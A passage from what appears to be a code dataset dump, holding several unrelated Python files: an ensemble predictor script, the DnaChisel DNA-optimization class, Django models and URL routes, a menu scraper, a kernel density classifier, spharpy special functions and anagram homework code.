open(fileName+'.json', 'w') as outfile:\r\n\t\tjson.dump(data, outfile)\r\n\r\n\r\ndef main():\r\n\tdata = fetchDevData()\r\n\tB_op, E_op, N_op = fetchModelsOP()\r\n\tprint(\"Starting Ensemble Classifier: \")\r\n\tec = EnsembleClassifier(\"MAX_VOTING\")\r\n\tfinal_op1, final_voter1 = ec.predict1(B_op, E_op, N_op)\r\n\twriteJSON(final_op1, \"final_predictions1\")\r\n\twriteJSON(final_voter1, \"final_predictionsVoter1\")\r\n\tprint(\"Predictions written to file final_predictions1.json\")\r\n\tfinal_op2, final_voter2 = ec.predict2(B_op, E_op, N_op)\r\n\twriteJSON(final_op2, \"final_predictions2\")\r\n\twriteJSON(final_voter2, \"final_predictionsVoter2\")\r\n\tprint(\"Predictions written to file final_predictions2.json\")\r\n\r\n\r\nmain()","repo_name":"NikhilSrihari/SQuAD-2.0-Ensemble-Predictor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21947932602","text":"\"\"\"Define the DnaOptimizationProblem class.\n\nDnaOptimizationProblem is where the whole problem is defined: sequence,\nconstraints, objectives.\n\"\"\"\n\nfrom Bio.SeqRecord import SeqRecord\nfrom proglog import default_bar_logger\nfrom ..Specification.SpecificationSet import SpecificationSet\nfrom ..biotools import sequences_differences_array\nfrom ..MutationSpace import MutationSpace\nfrom ..reports.optimization_reports import (\n write_optimization_report,\n write_no_solution_report,\n)\nfrom .NoSolutionError import NoSolutionError\nfrom . import mixins\n\n\nclass DnaOptimizationProblem(\n mixins.ConstraintsSolverMixin,\n mixins.ObjectivesMaximizerMixin,\n mixins.RecordRepresentationMixin,\n):\n \"\"\"Problem specifications: sequence, constraints, optimization objectives.\n\n The original constraints, objectives, and original sequence of the problem\n are stored in the DNA problem. This class also has methods to display\n reports on the constraints and objectives, as well as solving the\n constraints and objectives.\n\n Examples\n --------\n\n >>> from dnachisel import *\n >>> problem = DnaOptimizationProblem(\n >>> sequence = \"ATGCGTGTGTGC...\",\n >>> constraints = [constraint1, constraint2, ...],\n >>> objectives = [objective1, objective2, ...]\n >>> )\n >>> problem.resolve_constraints()\n >>> problem.optimize()\n >>> print(problem.constraints_text_summary())\n >>> print(problem.objectives_text_summary())\n\n\n Parameters\n ----------\n\n sequence\n A string of ATGC characters (they must be upper case!), e.g. \"ATTGTGTA\"\n\n constraints\n A list of objects of type ``Specification``.\n\n objectives\n A list of objects of type ``Specification`` specifying what must be\n optimized in the problem. Note that each objective has a float ``boost``\n parameter. The larger the boost, the more the objective is taken into\n account during the optimization.\n\n logger\n Either None for no logger, 'bar' for a tqdm progress bar logger, or\n any ProgLog progress bar logger.\n\n mutations_space\n A MutationSpace indicating the possible mutations. In most case the\n mutation space will be left to None and computed at problem\n initialization (which can be slightly compute-intensive), however some\n core DNA Chisel methods will create optimization problems with a provided\n mutation_space to save computing time.\n\n Attributes\n ----------\n\n randomization_threshold\n The algorithm will use an exhaustive search when the size of the mutation\n space (=the number of possible variants) is above this threshold, and\n a (guided) random search when it is above.\n\n max_random_iters\n When using a random search, stop after this many iterations\n\n mutations_per_iteration\n When using a random search, produce this many sequence mutations each\n iteration.\n\n optimization_stagnation_tolerance\n When using a random search, stop if the score hasn't improved in\n the last \"this many\" iterations\n\n local_extensions\n Try local resolution several times if it fails, increasing the mutable\n zone by [N1, N2...] nucleotides on each side, until resolution works.\n (by default, an extension of 0bp is tried, then 5bp.\n\n Notes\n -----\n\n The dictionary ``self.possible_mutations`` is of the form\n ``{location1 : list1, location2: list2...}``\n where ``location`` is either a single index (e.g. 10) indicating the\n position of a nucleotide to be muted, or a couple ``(start, end)``\n indicating a whole segment whose sub-sequence should be replaced.\n The ``list`` s are lists of possible sequences to replace each location,\n e.g. for the mutation of a whole codon ``(3,6): [\"ATT\", \"ACT\", \"AGT\"]``.\n \"\"\"\n\n randomization_threshold = 10000\n max_random_iters = 1000\n mutations_per_iteration = 2\n optimization_stagnation_tolerance = 100\n local_extensions = (0, 5)\n\n def __init__(\n self,\n sequence,\n constraints=None,\n objectives=None,\n logger=\"bar\",\n mutation_space=None,\n ):\n \"\"\"Initialize\"\"\"\n if isinstance(sequence, SeqRecord):\n self.record = sequence\n self.sequence = str(sequence.seq).upper()\n else:\n self.record = None\n self.sequence = sequence.upper()\n self.constraints = [] if constraints is None else list(constraints)\n self.objectives = [] if objectives is None else list(objectives)\n self.logger = default_bar_logger(\n logger,\n bars=(\"objective\", \"constraint\", \"location\"),\n ignored_bars=(\"mutation\",),\n min_time_interval=0.2,\n )\n self.mutation_space = mutation_space\n self.initialize()\n\n def initialize(self):\n \"\"\"Precompute specification sets, evaluations, and mutation space.\"\"\"\n\n # Find the specifications (objectives, constraints) which are actually\n # SpecificationSets, and unpack these to complete the lists of\n # objectives and constraints.\n for specs in (self.constraints, self.objectives):\n specsets = [\n spec for spec in specs if isinstance(spec, SpecificationSet)\n ]\n specs_in_sets = [\n spec\n for specset in specsets\n for spec in specset.specifications.values()\n ]\n for specset in specsets:\n specs.remove(specset)\n specs.extend(specs_in_sets)\n\n # INITIALIZE THE CONSTRAINTS AND OBJECTIVES\n\n self.constraints = [\n constraint.initialized_on_problem(self, role=\"constraint\")\n for constraint in self.constraints\n ]\n self.objectives = [\n objective.initialized_on_problem(self, role=\"objective\")\n for objective in self.objectives\n ]\n\n # INITIALIZE THE \"BEFORE\" CLASS ATTRIBUTES, USED IN REPORTS\n\n self.sequence_before = self.sequence\n self._constraints_before = None\n self._objectives_before = None\n\n # INITIALIZE THE MUTATION SPACE\n\n if self.mutation_space is None:\n self.mutation_space = MutationSpace.from_optimization_problem(self)\n # If the original sequence is outside of the allowed mutations\n # space, replace the sequence by a sequence which complies with\n # the mutation space.\n self.sequence = self.mutation_space.constrain_sequence(\n self.sequence\n )\n\n def _replace_sequence(self, new_sequence):\n \"\"\"Replace the current sequence of the problem.\n\n This method is subclassed in CircularDnaOptimization problem where\n is is more complex (changing the sequence in one location changes\n it in more locations).\n \"\"\"\n self.sequence = new_sequence\n\n def sequence_edits_as_array(self):\n \"\"\"Return an array [False, False, True...] where True indicates an edit\n (i.e. a change at this position between the original problem sequence\n and the current one).\"\"\"\n return sequences_differences_array(self.sequence, self.sequence_before)\n\n def number_of_edits(self):\n \"\"\"Return the number of nucleotide differences between the original\n and current sequence.\"\"\"\n return self.sequence_edits_as_array().sum()\n\n def optimize_with_report(\n self,\n target,\n project_name=\"My project\",\n file_path=None,\n file_content=None,\n ):\n \"\"\"Resolve constraints, optimize objectives, write a multi-file report.\n\n The report's content may vary depending on the optimization's success.\n\n Parameters\n ----------\n\n target\n Either a path to a folder that will contain the report, or a path to\n a zip archive, or \"@memory\" to return raw data of a zip archive\n containing the report.\n\n project_name\n Project name to write on PDF reports\n\n Returns\n -------\n\n (success, message, zip_data)\n Triplet where success is True/False, message is a one-line string\n summary indication whether some clash was found, or some solution, or\n maybe no solution was found because the random searches were too short\n \"\"\"\n self.logger(message=\"Solving constraints\")\n try:\n self.resolve_constraints()\n except NoSolutionError as error:\n self.logger(message=\"No solution found: making report\")\n data = write_no_solution_report(\n target,\n self,\n error,\n file_path=file_path,\n file_content=file_content,\n )\n start, end, s = error.location.to_tuple()\n message = \"No solution found in zone [%d, %d]: %s.\" % (\n start,\n end,\n str(error),\n )\n return False, message, data\n self.logger(message=\"Now optimizing the sequence\")\n self.optimize()\n self.logger(message=\"Success! Generating report.\")\n data = write_optimization_report(\n target,\n self,\n project_name=project_name,\n file_path=file_path,\n file_content=file_content,\n )\n return True, \"Optimization successful.\", data\n","repo_name":"Edinburgh-Genome-Foundry/DnaChisel","sub_path":"dnachisel/DnaOptimizationProblem/DnaOptimizationProblem.py","file_name":"DnaOptimizationProblem.py","file_ext":"py","file_size_in_byte":9409,"program_lang":"python","lang":"en","doc_type":"code","stars":188,"dataset":"github-code","pt":"75"} +{"seq_id":"23916027983","text":"from django.db import models\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib.contenttypes import generic\n\n\n\nclass AdministrativeModel(models.Model):\n content_type = models.ForeignKey(ContentType, null=False, blank=False)\n object_id = models.PositiveIntegerField(null=False, blank=False)\n content_object = generic.GenericForeignKey('content_type', 'object_id')\n\n\n\ndef register_object(model):\n adm_model = AdministrativeModel.objects.create(content_object=model)\n\n\ndef register_object_from_id(content_type, object_id):\n model_object = content_type.get_object_for_this_type(id=object_id)\n return register_object(model_object)\n\n\ndef register_object_from_model_name(app_label, model_name, object_id):\n content_type = ContentType.objects.get(app_label=app_label, model=model_name)\n return register_object_from_id( content_type, object_id)\n\n\ndef register_objects_from_tuple(*args):\n for app_label, model_name, object_id in args:\n register_object_from_model_name(app_label, model_name, object_id)\n\n\ndef register_administrative_nimbus_models():\n register_objects_from_tuple(\n (\"computers\", \"computer\", 1),\n (\"computers\", \"cryptoinfo\", 1),\n (\"filesets\", \"fileset\", 1),\n (\"filesets\", \"filepath\", 1),\n (\"filesets\", \"filepath\", 2),\n (\"filesets\", \"filepath\", 3),\n (\"filesets\", \"filepath\", 4),\n (\"schedules\", \"schedule\", 1),\n (\"schedules\", \"run\", 1),\n (\"schedules\", \"run\", 2),\n (\"schedules\", \"backupkind\", 1),\n (\"schedules\", \"backupkind\", 2),\n (\"schedules\", \"backupkind\", 3),\n (\"schedules\", \"backupkind\", 4),\n (\"schedules\", \"backuplevel\", 1),\n (\"schedules\", \"backuplevel\", 2),\n (\"procedures\", \"procedure\", 1),\n (\"storages\", \"storage\", 1),\n (\"storages\", \"device\", 1),\n )\n\n\n","repo_name":"veezor/nimbus-opensource","sub_path":"nimbus/security/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"5991151111","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef get_menu():\n url = 'https://socle.ru/mainmenu'\n r = requests.get(url=url)\n\n soup = BeautifulSoup(r.text, 'lxml')\n main_menu = soup.find_all('div', class_='t397__tab t397__tab_active t397__width_20') + soup.find_all('div', class_='t397__tab t397__width_20')\n\n for main in main_menu:\n menu = main.find('div', class_='t397__title t-name t-name_xs').text.strip()\n print(menu)\nget_menu()\n\n","repo_name":"ArtemMorozow/telebot-restaurant","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36893957123","text":"from django.urls import path, re_path\nfrom django.contrib.auth.views import login, logout_then_login\nfrom . import views\n\nurlpatterns = [\n\tre_path(r'^login$', login, {'template_name': 'portal/html/login.html'}, name = 'login', ),\n\tre_path(r'^logout$', logout_then_login, {'login_url': login}, name = 'logout_then_login'),\n\tpath(r'', views.home, name = 'home'),\n\tre_path(r'^admin$', views.admin, name = 'admin'),\n\tre_path(r'^dashboard', views.dashboard, name = 'dashboard')\n\t]","repo_name":"jqmtony/BIMOp","sub_path":"webapps/portal/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5045191020","text":"import numpy as np\nimport matplotlib.pyplot as plt \nimport csv\nimport Kernel_Gen_Defs as d\nimport timeit\n\nstart = timeit.default_timer() \n\nclass0 = []\nclass1 = []\nclass_est = []\nsuccesses = []\nh = 0.35\n\nwith open('train.csv', newline='') as csvfile:\n data = list(csv.reader(csvfile))\n\nwith open('test.csv', newline='') as csvfile:\n test_data = list(csv.reader(csvfile))\n\n#formats the incoming data as floats\nfor i in range(len(data)):\n for j in range(len(data[0])):\n data[i][j] = float(data[i][j])\n test_data[i][j] = float(test_data[i][j])\n\nfor item in data:\n if item[len(item) - 1] == 0:\n class0.append(item)\n else:\n class1.append(item)\n\nfor item in test_data: \n class_est.append(d.KDE(item, h, class0, class1))\n\nfor i in range(len(class_est)):\n if class_est[i] == test_data[i][len(test_data[i]) - 1]:\n successes.append(1)\n else:\n successes.append(0)\n\nprint(sum(successes) / len(successes))\n\nstop = timeit.default_timer()\nprint('Time:', stop - start)\n\ntest_class0x = []\ntest_class1x = []\ntest_class0y = []\ntest_class1y = []\n\nfor row in range(len(test_data)):\n if class_est[row] == 1:\n test_class1x.append(test_data[row][0])\n test_class1y.append(test_data[row][1])\n else:\n test_class0x.append(test_data[row][0])\n test_class0y.append(test_data[row][1])\n\nplt.scatter(test_class0x, test_class0y, c='red')\nplt.scatter(test_class1x, test_class1y, c='blue')\nplt.show()","repo_name":"rol227/ECE607","sub_path":"Project1/Task_4/Kernel_Gen.py","file_name":"Kernel_Gen.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40381211252","text":"\"\"\"\nSubpackage implementing or wrapping special functions required in the\nspharpy package.\n\"\"\"\n\nfrom itertools import count\nimport numpy as np\nimport scipy.special as _spspecial\nfrom scipy.optimize import brentq\n\n\ndef spherical_bessel(n, z, derivative=False):\n r\"\"\"\n Spherical bessel function of order n evaluated at z.\n\n .. math::\n\n j_n(z) = \\sqrt{\\frac{\\pi}{2z}} J_{n+\\frac{1}{2}} (z)\n\n Parameters\n ----------\n n : int, ndarray\n Order of the spherical bessel function\n z : double, ndarray\n Argument of the spherical bessel function. Has to be real valued.\n derivative : bool\n Return the derivative of the spherical Bessel function\n\n\n Returns\n -------\n jn : double, ndarray\n Spherical bessel function. Array with dimensions [N x Z], where N is\n the number of elements in n and Z is the number of elements in z.\n\n Note\n ----\n This is a wrapper around the Scipy implementation of the spherical Bessel\n function.\n\n \"\"\"\n\n ufunc = _spspecial.spherical_jn\n n = np.asarray(n, dtype=int)\n z = np.asarray(z, dtype=float)\n\n bessel = np.zeros((n.size, z.size), dtype=complex)\n\n if n.size > 1:\n for idx, order in zip(count(), n):\n bessel[idx, :] = ufunc(order, z, derivative=derivative)\n else:\n bessel = ufunc(n, z, derivative=derivative)\n\n if z.ndim <= 1 or n.ndim <= 1:\n bessel = np.squeeze(bessel)\n\n return bessel\n\n\ndef spherical_bessel_zeros(n_max, n_zeros):\n \"\"\"Compute the zeros of the spherical Bessel function.\n This function will always start at order zero which is equal\n to sin(x)/x and iteratively compute the roots for higher orders.\n The roots are computed using Brents algorithm from the scipy package.\n\n Parameters\n ----------\n n_max : int\n The order of the spherical bessel function\n n_zeros : int\n The number of roots to be computed\n\n Returns\n -------\n roots : ndarray, double\n The roots of the spherical bessel function\n\n \"\"\"\n def func(x, n):\n return _spspecial.spherical_jn(n, x)\n\n zerosj = np.zeros((n_max+1, n_zeros), dtype=float)\n zerosj[0] = np.arange(1, n_zeros+1)*np.pi\n points = np.arange(1, n_zeros+n_max+1)*np.pi\n\n roots = np.zeros(n_zeros+n_max, dtype=float)\n for i in range(1, n_max+1):\n for j in range(n_zeros+n_max-i):\n roots[j] = brentq(func, points[j], points[j+1], (i,), maxiter=5000)\n points = roots\n zerosj[i, :n_zeros] = roots[:n_zeros]\n\n return zerosj\n\n\ndef spherical_hankel(n, z, kind=2, derivative=False):\n r\"\"\"\n Spherical Hankel function of order n evaluated at z.\n\n .. math::\n\n j_n(z) = \\sqrt{\\frac{\\pi}{2z}} J_{n+\\frac{1}{2}} (z)\n\n Parameters\n ----------\n n : int, ndarray\n Order of the spherical bessel function\n z : double, ndarray\n Argument of the spherical bessel function. Has to be real valued.\n\n Returns\n -------\n hn : double, ndarray\n Spherical bessel function. Array with dimensions [N x Z], where N is\n the number of elements in n and Z is the number of elements in z.\n\n Note\n ----\n This is based on the Hankel functions implemented in the scipy package.\n \"\"\"\n\n if kind not in (1, 2):\n raise ValueError(\"The spherical hankel function can \\\n only be of first or second kind.\")\n\n n = np.asarray(n, dtype=int)\n z = np.asarray(z, dtype=float)\n\n if derivative:\n ufunc = _spherical_hankel_derivative\n else:\n ufunc = _spherical_hankel\n\n if n.size > 1:\n hankel = np.zeros((n.size, z.size), dtype=complex)\n for idx, order in zip(count(), n):\n hankel[idx, :] = ufunc(order, z, kind)\n else:\n hankel = ufunc(n, z, kind)\n\n if z.ndim <= 1 or n.ndim <= 1:\n hankel = np.squeeze(hankel)\n\n return hankel\n\n\ndef _spherical_hankel(n, z, kind):\n if kind == 1:\n hankel = _spspecial.hankel1(n+0.5, z)\n elif kind == 2:\n hankel = _spspecial.hankel2(n+0.5, z)\n hankel = np.sqrt(np.pi/2/z) * hankel\n\n return hankel\n\n\ndef _spherical_hankel_derivative(n, z, kind):\n hankel = _spherical_hankel(n-1, z, kind) - \\\n (n+1)/z * _spherical_hankel(n, z, kind)\n\n return hankel\n\n\ndef spherical_harmonic(n, m, theta, phi):\n \"\"\"The spherical harmonics of order n and degree m.\n\n n : unsigned int\n The spherical harmonic order\n m : int\n The spherical harmonic degree\n theta : ndarray, double\n The elevation angle\n phi : ndarray, double\n The azimuth angle\n\n Returns\n -------\n spherical_harmonic : ndarray, double\n The complex valued spherial harmonic of order n and degree m\n\n Note\n ----\n This function wraps the spherical harmonic implementation from scipy.\n The only difference is that we return zeros instead of nan values\n if $n < |m|$.\n\n \"\"\"\n theta = np.asarray(theta, dtype=float)\n phi = np.asarray(phi, dtype=float)\n\n if n < np.abs(m):\n sph_harm = np.zeros(theta.shape)\n else:\n sph_harm = _spspecial.sph_harm(m, n, phi, theta)\n return sph_harm\n\n\ndef spherical_harmonic_real(n, m, theta, phi):\n r\"\"\"Real valued spherical harmonic function of order n and degree m\n evaluated at the angles theta and phi.\n The spherical harmonic functions are fully normalized (N3D) and follow\n the AmbiX phase convention [1]_.\n\n .. math::\n\n Y_n^m(\\theta, \\phi) = \\sqrt{\\frac{2n+1}{4\\pi}\n \\frac{(n-|m|)!}{(n+|m|)!}} P_n^{|m|}(\\cos \\theta)\n \\begin{cases}\n \\displaystyle \\cos(|m|\\phi), & \\text{if $m \\ge 0$} \\newline\n \\displaystyle \\sin(|m|\\phi) , & \\text{if $m < 0$}\n \\end{cases}\n\n References\n ----------\n .. [1] C. Nachbar, F. Zotter, E. Deleflie, and A. Sontacchi, “Ambix - A\n Suggested Ambisonics Format (revised by F. Zotter),” International\n Symposium on Ambisonics and Spherical Acoustics,\n vol. 3, pp. 1–11, 2011.\n\n\n\n Parameters\n ----------\n n : unsigned int\n The spherical harmonic order\n m : int\n The spherical harmonic degree\n theta : ndarray, double\n The elevation angle\n phi : ndarray, double\n The azimuth angle\n\n Returns\n -------\n spherical_harmonic : ndarray, double\n The real valued spherial harmonic of order n and degree m\n\n \"\"\"\n # careful here, scipy uses phi as the elevation angle and\n # theta as the azimuth angle\n Y_nm_cplx = _spspecial.sph_harm(m, n, phi, theta)\n\n if m == 0:\n Y_nm = np.real(Y_nm_cplx)\n elif m > 0:\n Y_nm = np.real(Y_nm_cplx) * np.sqrt(2)\n elif m < 0:\n Y_nm = np.imag(Y_nm_cplx) * np.sqrt(2) * float(-1)**(m+1)\n\n Y_nm *= float(-1)**(m)\n\n return Y_nm\n\n\ndef spherical_harmonic_derivative_phi(n, m, theta, phi):\n \"\"\"Calculate the derivative of the spherical harmonics with respect to\n the azimuth angle phi.\n\n Parameters\n ----------\n\n n : int\n Spherical harmonic order\n m : int\n Spherical harmonic degree\n theta : double\n Elevation angle 0 < theta < pi\n phi : double\n Azimuth angle 0 < phi < 2*pi\n\n Returns\n -------\n\n sh_diff : complex double\n Spherical harmonic derivative\n\n \"\"\"\n if m == 0 or n == 0:\n res = np.zeros(phi.shape, dtype=complex)\n else:\n res = spherical_harmonic(n, m, theta, phi) * 1j * m\n\n return res\n\n\ndef spherical_harmonic_gradient_phi(n, m, theta, phi):\n \"\"\"Calculate the derivative of the spherical harmonics with respect to\n the azimuth angle phi divided by sin(theta)\n\n Parameters\n ----------\n\n n : int\n Spherical harmonic order\n m : int\n Spherical harmonic degree\n theta : double\n Elevation angle 0 < theta < pi\n phi : double\n Azimuth angle 0 < phi < 2*pi\n\n Returns\n -------\n\n sh_diff : complex double\n Spherical harmonic derivative\n\n \"\"\"\n if m == 0:\n res = np.zeros(theta.shape, dtype=complex)\n else:\n factor = np.sqrt((2*n+1)/(2*n-1))/2\n exp_phi = np.exp(1j*phi)\n first = np.sqrt((n+m)*(n+m-1)) * exp_phi * \\\n spherical_harmonic(n-1, m-1, theta, phi)\n second = np.sqrt((n-m) * (n-m-1)) / exp_phi * \\\n spherical_harmonic(n-1, m+1, theta, phi)\n Ynm_sin_theta = (-1) * factor * (first + second)\n res = Ynm_sin_theta * 1j\n\n return res\n\n\ndef spherical_harmonic_derivative_theta(n, m, theta, phi):\n \"\"\"Calculate the derivative of the spherical harmonics with respect to\n the elevation angle theta.\n\n Parameters\n ----------\n\n n : int\n Spherical harmonic order\n m : int\n Spherical harmonic degree\n theta : double\n Elevation angle 0 < theta < pi\n phi : double\n Azimuth angle 0 < phi < 2*pi\n\n Returns\n -------\n\n sh_diff : complex double\n Spherical harmonic derivative\n\n \"\"\"\n if n == 0:\n res = np.zeros(theta.shape, dtype=complex)\n else:\n exp_phi = np.exp(1j*phi)\n first = np.sqrt((n-m+1) * (n+m)) * exp_phi * \\\n spherical_harmonic(n, m-1, theta, phi)\n second = np.sqrt((n-m) * (n+m+1)) / exp_phi * \\\n spherical_harmonic(n, m+1, theta, phi)\n res = (first-second)/2 * (-1)\n\n return res\n\n\ndef legendre_function(n, m, z, cs_phase=True):\n r\"\"\"Legendre function of order n and degree m with argument z.\n\n .. math::\n\n P_n^m(z) = (-1)^m(1-z^2)^{m/2}\\frac{d^m}{dz^m}P_n{z}\n\n where the Condon-Shotley phase term $(-1)^m$ is dropped when cs_phase=False\n is used.\n\n Parameters\n ----------\n n : int\n The order\n m : int\n The degree\n z : ndarray, double\n The argument as an array\n cs_phase : bool, optional\n Whether to use include the Condon-Shotley phase term (-1)^m or not\n\n Returns\n -------\n legendre : ndarray, double\n The Legendre function. This will return zeros if $|m| > n$.\n\n Note\n ----\n This is a wrapper for the Legendre function implementation from scipy. The\n scipy implementation uses the Condon-Shotley phase. Therefore, the sign\n needs to be flipped here for uneven degrees when dropping the\n Condon-Shotley phase.\n\n \"\"\"\n z = np.atleast_1d(z)\n\n if np.abs(m) > n:\n legendre = np.zeros(z.shape)\n else:\n legendre = np.zeros(z.shape)\n for idx, arg in zip(count(), z):\n leg, _ = _spspecial.lpmn(m, n, arg)\n if np.mod(m, 2) != 0 and not cs_phase:\n legendre[idx] = -leg[-1, -1]\n else:\n legendre[idx] = leg[-1, -1]\n return legendre\n\n\ndef spherical_harmonic_normalization(n, m, norm='full'):\n r\"\"\"The normalization factor for real valued spherical harmonics.\n\n .. math::\n\n N_n^m = \\sqrt{\\frac{2n+1}{4\\pi}\\frac{(n-m)!}{(n+m)!}}\n\n Parameters\n ----------\n n : int\n The spherical harmonic order.\n m : int\n The spherical harmonic degree.\n norm : 'full', 'semi', optional\n Normalization to use. Can be either fully normalzied on the sphere or\n semi-normalized.\n\n Returns\n -------\n norm : double\n The normalization factor.\n\n\n \"\"\"\n if np.abs(m) > n:\n factor = 0.0\n else:\n if norm == 'full':\n z = n+m+1\n factor = _spspecial.poch(z, -2*m)\n factor *= (2*n+1)/(4*np.pi)\n if int(m) != 0:\n factor *= 2\n factor = np.sqrt(factor)\n elif norm == 'semi':\n z = n+m+1\n factor = _spspecial.poch(z, -2*m)\n if int(m) != 0:\n factor *= 2\n factor = np.sqrt(factor)\n else:\n raise ValueError(\"Unknown normalization.\")\n return factor\n\n\ndef spherical_harmonic_derivative_theta_real(n, m, theta, phi):\n r\"\"\"The derivative of the real valued spherical harmonics with respect\n to the elevation angle $\\theta$.\n\n Parameters\n ----------\n n : int\n The spherical harmonic order.\n m : int\n The spherical harmonic degree.\n theta : ndarray, double\n The elevation angle\n phi : ndarray, double\n The azimuth angle\n\n\n Returns\n -------\n derivative : ndarray, double\n The derivative\n\n Note\n ----\n This implementation does not include the Condon-Shotley phase term.\n\n \"\"\"\n\n m_abs = np.abs(m)\n if n == 0:\n res = np.zeros(theta.shape, dtype=float)\n else:\n first = (n+m_abs)*(n-m_abs+1) * \\\n legendre_function(\n n,\n m_abs-1,\n np.cos(theta),\n cs_phase=False)\n second = legendre_function(\n n,\n m_abs+1,\n np.cos(theta),\n cs_phase=False)\n legendre_diff = 0.5*(first - second)\n\n N_nm = spherical_harmonic_normalization(n, m_abs)\n\n if m < 0:\n phi_term = np.sin(m_abs*phi)\n else:\n phi_term = np.cos(m_abs*phi)\n\n res = N_nm * legendre_diff * phi_term\n\n return res\n\n\ndef spherical_harmonic_derivative_phi_real(n, m, theta, phi):\n r\"\"\"The derivative of the real valued spherical harmonics with respect\n to the azimuth angle $\\phi$.\n\n Parameters\n ----------\n n : int\n The spherical harmonic order.\n m : int\n The spherical harmonic degree.\n theta : ndarray, double\n The elevation angle\n phi : ndarray, double\n The azimuth angle\n\n\n Returns\n -------\n derivative : ndarray, double\n The derivative\n\n Note\n ----\n This implementation does not include the Condon-Shotley phase term.\n\n \"\"\"\n m_abs = np.abs(m)\n if m == 0:\n res = np.zeros(theta.shape, dtype=float)\n else:\n legendre = legendre_function(n, m_abs, np.cos(theta), cs_phase=False)\n N_nm = spherical_harmonic_normalization(n, m_abs)\n\n if m < 0:\n phi_term = np.cos(m_abs*phi) * m_abs\n else:\n phi_term = -np.sin(m_abs*phi) * m_abs\n\n res = N_nm * legendre * phi_term\n\n return res\n\n\ndef spherical_harmonic_gradient_phi_real(n, m, theta, phi):\n r\"\"\"The gradient of the real valued spherical harmonics with respect\n to the azimuth angle $\\phi$.\n\n Parameters\n ----------\n n : int\n The spherical harmonic order.\n m : int\n The spherical harmonic degree.\n theta : ndarray, double\n The elevation angle\n phi : ndarray, double\n The azimuth angle\n\n\n Returns\n -------\n derivative : ndarray, double\n The derivative\n\n Note\n ----\n This implementation does not include the Condon-Shotley phase term.\n\n References\n ----------\n .. [1] J. Du, C. Chen, V. Lesur, and L. Wang, “Non-singular spherical\n harmonic expressions of geomagnetic vector and gradient tensor\n fields in the local north-oriented reference frame,” Geoscientific\n Model Development, vol. 8, no. 7, pp. 1979–1990, Jul. 2015.\n\n \"\"\"\n m_abs = np.abs(m)\n if m == 0:\n res = np.zeros(theta.shape, dtype=float)\n else:\n first = (n+m_abs)*(n+m_abs-1) * \\\n legendre_function(\n n-1,\n m_abs-1,\n np.cos(theta),\n cs_phase=False)\n second = legendre_function(\n n-1,\n m_abs+1,\n np.cos(theta),\n cs_phase=False)\n legendre_diff = 0.5*(first + second)\n N_nm = spherical_harmonic_normalization(n, m_abs)\n\n if m < 0:\n phi_term = np.cos(m_abs*phi)\n else:\n phi_term = -np.sin(m_abs*phi)\n\n res = N_nm * legendre_diff * phi_term\n\n return res\n\n\ndef legendre_coefficients(order):\n \"\"\"Calculate the coefficients of a Legendre polynomial of the\n specified order.\n\n Parameters\n ----------\n order : int\n The order of the polynomial\n\n Returns\n -------\n coefficients : ndarray, double\n The coefficients of the polynomial\n\n \"\"\"\n leg = np.polynomial.legendre.Legendre.basis(order)\n coefficients = np.polynomial.legendre.leg2poly(leg.coef)\n\n return coefficients\n\n\ndef chebyshev_coefficients(order):\n \"\"\"Calculate the coefficients of a Chebyshev polynomial of the\n specified order.\n\n Parameters\n ----------\n order : int\n The order of the polynomial\n\n Returns\n -------\n coefficients : ndarray, double\n The coefficients of the polynomial\n\n \"\"\"\n cheb = np.polynomial.chebyshev.Chebyshev.basis(order)\n coefficients = np.polynomial.chebyshev.cheb2poly(cheb.coef)\n\n return coefficients\n","repo_name":"pyfar/spharpy","sub_path":"spharpy/special.py","file_name":"special.py","file_ext":"py","file_size_in_byte":16621,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"24679877696","text":"\"\"\"\nYuchen Yao\nHW07\nthis homework contained 3 tasks\n\"\"\"\n\nfrom typing import List, Tuple, DefaultDict, Any\nfrom collections import Counter, defaultdict\nimport typing\n\n\n# PART 1\n# PART 1.1\ndef anagram_lst(str1: str, str2: str) -> bool:\n \"\"\" return True if str1 and str2 are anagrams, False if not \"\"\"\n return sorted(str1) == sorted(str2)\n\n\n# PART 1.2\ndef anagram_dd(str1: str, str2: str) -> bool:\n \"\"\" return True if str1 and str2 are anagrams, False if not \"\"\"\n dd: DefaultDict[str, int] = defaultdict(int)\n for i in str1:\n dd[i] += 1\n\n for i in str2:\n if i in dd:\n dd[i] -= 1\n else:\n return False\n\n return not any(dd.values()) # any dd.value is not other than 0\n\n\ndef anagram_dd2(str1, str2):\n dd = defaultdict(int)\n for i in str1:\n dd[i] += 1\n\n for i in str2:\n dd[i] -= 1\n\n return not any(dd.values())\n# for i in dd.values():\n# if i != 0:\n# return False\n# return True\n\n\n# PARt 1.3\ndef anagram_cntr(str1: str, str2: str) -> bool:\n \"\"\" return True if str1 and str2 are anagrams, False if not \"\"\"\n c1: typing.Counter = Counter(str1)\n c2: typing.Counter = Counter(str2)\n if len(c1.keys()) != len(c2.keys()):\n return False\n\n for key in c1.keys():\n if c1[key] != c2[key]:\n return False\n\n return True\n\n\ndef anagram_cntr2(str1, str2):\n return Counter(str1.lower()) == Counter(str2.lower())\n\n\ndef anagram_cntr3(str1, str2):\n result = Counter(str1.lower())\n result.subtract(str2.lower())\n return all(cnt == 0 for cnt in result.values())\n\n\n# PART 2\ndef covers_alphabet(sentence: str) -> bool:\n \"\"\"\n returns true if sentence includes at least one instance\n of every character in the alphabet or False using only Python sets\n \"\"\"\n alphabet: str = \"abcdefghijklmnopqrstuvwxyz\"\n s: str = sentence.lower()\n for c in alphabet:\n if c not in s:\n return False\n\n return True\n\n\ndef 